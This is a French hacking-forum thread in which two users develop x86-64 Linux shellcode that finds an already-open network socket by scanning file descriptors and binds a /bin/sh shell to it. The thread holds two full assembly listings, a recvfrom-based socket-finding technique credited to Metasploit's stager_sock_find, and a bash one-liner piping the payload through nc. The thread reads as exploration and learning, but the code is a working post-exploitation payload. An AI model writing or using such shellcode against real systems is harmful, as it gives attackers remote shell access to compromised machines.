• STATISTIQUES
  • Il y a eu un total de 2 membres et 11647 visiteurs sur le site dans les dernières 24h pour un total de 11 649 personnes!


    Membres: 2 433
    Discussions: 3 585
    Messages: 32 832
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [FR] Infomirmo
    Challenge présenté sous la forme de 6 niveaux de difficultés diverses et variées avec chacun plusieurs chall...
    Challenges
    [FR] Root-Me
    Notre équipe se base sur un constat : à l'heure actuelle ou l'information tend à devenir...
    Hacking
    [EN] xda-developers
    Très bon site pour les gros bidouilleurs de smartphone de windows à androïd et de Apple jusqu'...
    Phreaking
    [FR] Zmaster
    Articles sur l'informatique, le hacking, le P2P, les divx, les astuces windows XP, les GSM, Emule, la cryptograph...
    Hacking
    [EN] Astalavista
    JavaScript: 1, Exploit: 2, Crypto: 34, CrackIt: 15, Stegano: 8, Programming: 12, Logic: 36, Special: 6, Science: 4, Info...
    Challenges
    [FR] PHP Débutant
    Apprendre le PHP par l'exemple, facilement et simplement. Réservé d'abord aux débutants....
    Programmation
    [EN] Hack This Site
    Hack This Site est considéré comme un réel terrain d'entraînement légal pour le...
    Hacking

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!




Note de ce sujet :
  • Moyenne : 5 (2 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
[shellcode] Reverse shell over reused socket
07-03-2014, 17h41 (Modification du message : 10-03-2014, 11h12 par ark.)
Message : #1
ark Hors ligne
Psyckomodo!
*****



Messages : 1,033
Sujets : 48
Points: 317
Inscription : Sep 2011
[shellcode] Reverse shell over reused socket
+1 (3) -1 (0) Répondre
07-03-2014, 18h11
Message : #2
gruik Hors ligne
gouteur de savon
*



Messages : 757
Sujets : 44
Points: 482
Inscription : Oct 2012
RE: [shellcode] Reverse shell over reused socket
comme ça au pif, si la socket est bloquante le F_GETFD bloque aussi non ?
sur ce lien on trouve une méthode similaire mais à base de F_GETFL
+1 (0) -1 (0) Répondre
10-03-2014, 15h20 (Modification du message : 10-03-2014, 15h20 par ark.)
Message : #3
ark Hors ligne
Psyckomodo!
*****



Messages : 1,033
Sujets : 48
Points: 317
Inscription : Sep 2011
RE: [shellcode] Reverse shell over reused socket
Je viens de tester le coup du F_GETFL et il s'avère que le programme boucle inf sans trouver la socket ; j'ai pas non plus fait comme ce que fait le mec dans son shellecode. Mais bon, trouver le FD ça marche, mon soucis c'est vraiment la partie binding des i/o sur la socket. Si je vire ma boucle pour faire les dup2(), bah le shell spawn bien coté serveur.

Ah oui, et j'ai edit mon premier message pour mettre le code du "getsc" ;)

EDIT :

Shellcode modifié, le problème venait du fait que les dup2 étaient fait sur la socket serveur, donc forcement ca ne marchait pas... Merci à Gruik pour m'avoir éclairé :p

Code ASM :

BITS 64
section .text

        global _start

_start:
        ;; int 0x3
        call start
        db "/bin/sh", 0, 0
        db "-i", 0
        align 4

start:
        xor rdi, rdi            ; We set the fist fd test to 0 because we will underflow to start from 255
        xor rax, rax
        inc rax                 ; set rax to a non-zero value (we need that for the condition at check_fd_loop_end)

        jmp check_fd_loop_end

check_fd_loop_start:
        dec dil                        ; This is our fd
        mov r9b, dil

        mov rax, 72             ; call fcntl
        mov rsi, 1              ; use flag F_GETFD // This does detect if the fd is valid, i need to find something to be sure it's our socket
        syscall

        mov dil, r9b

check_fd_loop_end:
        test rax, rax           ; if fcntl() returned 0, we get a valid fd
        jne check_fd_loop_start

;;; Let's dup2() to bind filedescriptors to the socket

        mov rsi, 3
dup_loop:
        mov rax, 33
        dec rsi
        syscall
        test rsi, rsi
        jnz dup_loop

;;; We can now exec our shell
shell:
        mov rdi, [rsp]            ; pointer to the first string "/bin/sh", 0
        lea rax, [rdi + 9]
        mov [rsp + 8], rax
        lea rsi, [rsp]            ; pointer to begining of the tab
        mov qword [rsp + 0x10], 0
        mov rdx, 0
        mov rax, 59
        syscall
 


Bon, c'est encore expérimental puisqu'on est pas encore sur que le FD trouvé est le bon... Je vais faire des recherches pour pouvoir trouver le bon et je vous tiens au courant. :)

Pendant que j'y suis, pour pouvoir executer des commandes après, il va falloir envoyer l'input de notre shell vers notre nc ; on utilisera donc la commande suivante :

Code BASH :

(echo -ne `getsc scode` ; cat) | nc 0 1024
 
+1 (1) -1 (0) Répondre
10-03-2014, 16h47
Message : #4
gruik Hors ligne
gouteur de savon
*



Messages : 757
Sujets : 44
Points: 482
Inscription : Oct 2012
RE: [shellcode] Reverse shell over reused socket
(10-03-2014, 15h20)Ark a écrit : Bon, c'est encore expérimental puisqu'on est pas encore sur que le FD trouvé est le bon...

comme dit en pv une technique à mon avis assez fiable consiste à partir du principe que suite à l'exploitation le processus/thread est voué à mourir de toutes façons

du coup l'idée est de faire un read() de 4 octets sur tous les descripteurs prêts à être lus, en partant de 255 et decroissant, jusqu'à tomber sur le motif qu'on aura choisi "TOTO" ou 0xdeadbeef etc. ainsi on est quasi-certain de retrouver la bonne socket

c'est la technique qui était (est ?) utilisée dans le stager_sock_find de metasploit
+1 (1) -1 (0) Répondre
10-03-2014, 16h57 (Modification du message : 11-03-2014, 12h39 par ark.)
Message : #5
ark Hors ligne
Psyckomodo!
*****



Messages : 1,033
Sujets : 48
Points: 317
Inscription : Sep 2011
RE: [shellcode] Reverse shell over reused socket
Yep, merci =)

Je vais commencer par implémenter ca, puis je passerai sur de l'optimisation de taille. Et eventuellement du retirage des octets en 0x00.
Au passage, si quelqu'un se sent d'en faire une version 32bits, ca peut etre koule =)

Et sinon, je pensais à également faire un truc plus discret encore, c'est à dire qui rendrait la main qu process une fois qu'on en a fini avec notre shell. Je pensais partir sur un fork avant de faire la recherche de la socket, et puis wait() et return dans le père, ca devrait etre pas trop mal.

Bref, j'vous tiens au courant quoi :)

EDIT :

Bon, alors, j'ai mis en place la technique proposé par Gruik, ça marche pas encore à tous les coups, mais je vois pas encore pourquoi :p
Donc, voici le code :

Code ASM :

BITS 64
section .text

        global _start

_start:
        call start
        db "/bin/sh", 0, 0
        db "-i", 0, 0, 0

start:
        xor rdi, rdi                        ; rdi will contain our fd (but we will use it's sub-register : dil)
        xor rax, rax                      ; Wait, I think I don't need this anymore
        inc rax

        sub rsp, 8                        ; let's make us some space on the stack
        mov dword [rsp], 0            ; and set it to 0

; There we start initializing our syscall recvfrom()
; Those registers won't change when we loop
        mov rsi, rsp
        mov rdx, 4
        xor r8, r8
        xor r9, r9     

        jmp check_fd_loop_end
check_fd_loop_start:

        dec dil                       ; we try the next fd
        mov rcx, 64             ; MSG_DONTWAIT for a non blocking recvfrom
        mov rax, 45                ; syscall recvfrom()
        syscall                 ; recvfrom(fd, stack_pointer, 4, flag = MSG_DONTWAIT, NULL, 0));
       
check_fd_loop_end:
        cmp dword [rsp], 0x42424242         ; Comparision with the choosen pattern
        jne check_fd_loop_start

        add rsp, 8                                     ; We restore the stack because we'll need to pop the right addresses next
; Start to dup2()
        mov rsi, 3
dup_loop:
        mov rax, 33
        dec rsi
        syscall
        test rsi, rsi
        jnz dup_loop

; let's get the shell!
        mov rdi, [rsp]
        lea rax, [rdi + 9]
        mov [rsp + 8], rax
        lea rsi, [rsp]
        mov qword [rsp + 0x10], 0
        mov rdx, 0
        mov rax, 59
        syscall
 


J'utilise un appel a recvrom() pour read sur la socket ; j'ai reservé de l'espace sur la stack pour stocker le dword lu. Il est ensuite comparé (0x42424242 == BBBB) et si la comparaison match, on peut lancer le shell sur notre socket.

Pour le lancer, j'ai un peu modifié ma ligne, puisqu'il faut lui envoyer le pattern :
Code BASH :

(echo -ne `getsc scode` ; echo -n BBBB ; cat) | nc 0 1024
 


Voilà! Bon, donc ça, ça drop un shell de temps en temps, il y a des fois ou il part en boucle inf, sans arriver à lire le pattern sur la socket, donc la comparaison reste toujours fausse. C'est assez bizarre, peut etre qu'il n'arrive pas à lire parce qu'il passe trop vite, et le message est pas encore envoyé ; du coup il ne le lit pas. Mais je me dis que dans ce cas il devrait tout de même le lire au deuxieme passage ... Je ne sais pas trop encore, je continue mes recherches ! :p
+1 (1) -1 (0) Répondre


Sujets apparemment similaires…
Sujet Auteur Réponses Affichages Dernier message
  [C] Socket + envoie de commande notfound 27 6,844 26-04-2013, 20h41
Dernier message: Kiwazaru
  [C] Socket Client-Serveur -> Write() + Read() sakiir 7 1,981 18-03-2013, 07h19
Dernier message: sakiir
  NEED HELP / SOCKET;FILTRES XDR; RPC notfound 4 1,496 21-01-2013, 02h18
Dernier message: notfound

Atteindre :


Utilisateur(s) parcourant ce sujet : 1 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut